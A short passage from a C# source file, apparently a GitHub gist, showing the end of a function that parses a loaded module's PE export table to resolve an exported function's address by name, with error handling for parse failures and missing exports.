Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase; | |
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase)))); | |
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA); | |
break; | |
} | |
} | |
} | |
catch | |
{ | |
// Catch parser failure | |
throw new InvalidOperationException("Failed to parse module exports."); | |
} | |
if (FunctionPtr == IntPtr.Zero) | |
{ | |
// Export not found | |
throw new MissingMethodException(ExportName + ", export not found."); | |
} | |
return FunctionPtr; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment